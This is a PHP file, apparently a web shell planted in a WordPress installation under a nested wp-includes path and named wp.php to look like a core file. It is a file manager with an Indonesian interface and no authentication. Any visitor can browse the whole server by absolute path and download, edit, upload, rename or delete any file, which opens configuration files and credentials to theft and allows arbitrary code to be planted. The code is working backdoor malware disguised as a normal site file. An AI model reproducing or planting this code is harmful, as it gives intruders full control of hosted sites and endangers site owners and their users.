• File: wp.php
  • Full Path: /home/havejqku/public_html/wp-includes/wp-includes/wp-includes/widgets/wp.php
  • Date Modified: 09/16/2025 3:41 AM
  • File size: 8.12 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();
if (!$dir || !is_dir($dir)) $dir = getcwd();

function breadcrumb($dir) {
    $parts = explode(DIRECTORY_SEPARATOR, trim($dir, DIRECTORY_SEPARATOR));
    $path = DIRECTORY_SEPARATOR;
    echo "<nav class='breadcrumb'>📂 Path: ";
    echo "<a href='?dir=" . urlencode(DIRECTORY_SEPARATOR) . "'>/</a>";
    foreach ($parts as $part) {
        if ($part === '') continue;
        $path .= $part . DIRECTORY_SEPARATOR;
        echo "<a href='?dir=" . urlencode(rtrim($path, DIRECTORY_SEPARATOR)) . "'>$part</a> / ";
    }
    echo "</nav>";
}

if (isset($_GET['download'])) {
    $target = realpath($_GET['download']);
    if (is_file($target) && is_readable($target) && filesize($target) > 0) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($target) . '"');
        header('Content-Length: ' . filesize($target));
        flush();
        readfile($target);
        exit;
    } else {
        echo "<!DOCTYPE html><html><body style='font-family:sans-serif; padding:20px;'>";
        echo "<h2>⚠️ File tidak dapat diunduh</h2>";
        echo "<a href='?dir=" . urlencode(dirname($target)) . "'>🔙 Kembali</a>";
        echo "</body></html>";
        exit;
    }
}

if (isset($_POST['rename_old'], $_POST['rename_new'])) {
    $old = realpath($_POST['rename_old']);
    $new = dirname($old) . DIRECTORY_SEPARATOR . basename($_POST['rename_new']);
    if (is_writable($old)) rename($old, $new);
    header("Location: ?dir=" . urlencode(dirname($old)));
    exit;
}

if (isset($_POST['newfolder']) && $_POST['newfolder']) {
    $newDir = $dir . DIRECTORY_SEPARATOR . basename($_POST['newfolder']);
    if (!file_exists($newDir)) mkdir($newDir);
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

if (isset($_GET['delete'])) {
    $target = realpath($_GET['delete']);
    if (is_file($target)) unlink($target);
    elseif (is_dir($target)) rmdir($target);
    header("Location: ?dir=" . urlencode(dirname($target)));
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload'])) {
    move_uploaded_file($_FILES['upload']['tmp_name'], $dir . '/' . basename($_FILES['upload']['name']));
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

if (isset($_GET['edit']) && is_file($_GET['edit'])) {
    $file = realpath($_GET['edit']);
    if (is_writable($file)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            file_put_contents($file, $_POST['content']);
            header("Location: ?dir=" . urlencode(dirname($file)));
            exit;
        }
        $content = htmlspecialchars(file_get_contents($file));
        echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>Edit</title><style>
        body { font-family: sans-serif; padding: 20px; background: #f0f0f0; }
        textarea { width: 100%; height: 80vh; font-family: monospace; }
        button, a.button { padding: 10px 20px; margin-top: 10px; background: #007bff; color: white; border: none; border-radius: 5px; text-decoration: none; }
        a.button { background: #6c757d; }
        </style></head><body>";
        echo "<h2>📝 Edit: " . basename($file) . "</h2>";
        echo "<form method='post'>";
        echo "<textarea name='content'>$content</textarea><br>";
        echo "<button type='submit'>💾 Simpan</button> ";
        echo "<a href='?dir=" . urlencode(dirname($file)) . "' class='button'>🔙 Kembali</a>";
        echo "</form></body></html>";
        exit;
    }
}

function list_dir($dir) {
    $items = scandir($dir);
    $folders = [];
    $files = [];

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = realpath($dir . DIRECTORY_SEPARATOR . $item);
        if (!$path) continue;
        if (is_dir($path)) $folders[] = $path;
        else $files[] = $path;
    }

    $list = array_merge($folders, $files);
    echo "<ul class='file-list'>";
    foreach ($list as $path) {
        $item = basename($path);
        $encoded = urlencode($path);
        $isDir = is_dir($path);

        echo "<li>";
        echo "<div class='name'>";
        echo $isDir ? "📁 <a href='?dir=$encoded'>$item</a>" : "📄 $item";
        echo "</div>";
        echo "<div class='actions'>";
        if (!$isDir && is_readable($path) && filesize($path) > 0) {
            echo "<a href='?download=$encoded'>Download</a> ";
            echo "<a href='?edit=$encoded'>Edit</a> ";
        }
        echo "<a href='#' onclick=\"toggleRename(this); return false;\">Rename</a>";
        echo "<div class='rename-box' style='display:none; margin-top:5px;'>
                <form method='post'>
                    <input type='hidden' name='rename_old' value='" . htmlspecialchars($path) . "'>
                    <input type='text' name='rename_new' value='" . htmlspecialchars($item) . "' size='15'>
                    <button type='submit'>✔</button>
                    <button type='button' onclick='toggleRename(this.parentNode.parentNode.previousElementSibling);'>✖</button>
                </form>
              </div>";
        echo "<a href='?delete=$encoded' onclick=\"return confirm('Hapus $item?')\">Hapus</a>";
        echo "</div></li>";
    }
    echo "</ul>";
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>File Manager</title>
    <style>
        body { font-family: sans-serif; margin: 40px; background: #f5f5f5; color: #333; }
        h2 { margin-top: 0; }
        nav.breadcrumb { margin-bottom: 20px; }
        nav.breadcrumb a { text-decoration: none; color: #007bff; }
        ul.file-list { list-style: none; padding: 0; }
        ul.file-list li { background: #fff; border-radius: 4px; padding: 10px; margin-bottom: 5px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; }
        .name { flex: 1; text-align: left; }
        .actions { text-align: right; }
        .actions a, .actions button { margin-left: 10px; font-size: 0.85em; color: #007bff; text-decoration: none; border: none; background: none; cursor: pointer; }
        .actions form { display: inline; }
        .rename-box input[type="text"] { padding: 4px; font-size: 0.85em; }
        .rename-box button { margin-left: 5px; background: #007bff; color: white; padding: 4px 8px; border: none; border-radius: 3px; font-size: 0.85em; }
        form { margin-top: 20px; }
        input[type="file"], input[type="text"] { padding: 4px 6px; font-size: 0.85em; }
        button {
            padding: 4px 10px;
            background: #4CAF50;
            color: white;
            font-size: 0.85em;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #3e8e41;
        }
        .top-forms {
            display: flex;
            gap: 20px;
            margin-bottom: 20px;
            align-items: end;
        }
        .top-forms label {
            font-size: 0.85em;
        }
    </style>
    <script>
        function toggleRename(link) {
            const box = link.nextElementSibling;
            box.style.display = (box.style.display === 'none') ? 'block' : 'none';
        }
    </script>
</head>
<body>
    <h2>🗂️ File Manager</h2>
    <?php breadcrumb($dir); ?>

    <div class="top-forms">
        <form method="post" enctype="multipart/form-data" style="display: flex; gap: 10px;">
            <div>
                <label>📤 Upload File:</label><br>
                <input type="file" name="upload">
            </div>
            <button type="submit">Upload</button>
        </form>

        <form method="post" style="display: flex; gap: 10px;">
            <div>
                <label>📁 Buat Folder Baru:</label><br>
                <input type="text" name="newfolder" placeholder="Nama folder">
            </div>
            <button type="submit">Buat</button>
        </form>
    </div>

    <?php list_dir($dir); ?>
</body>
</html>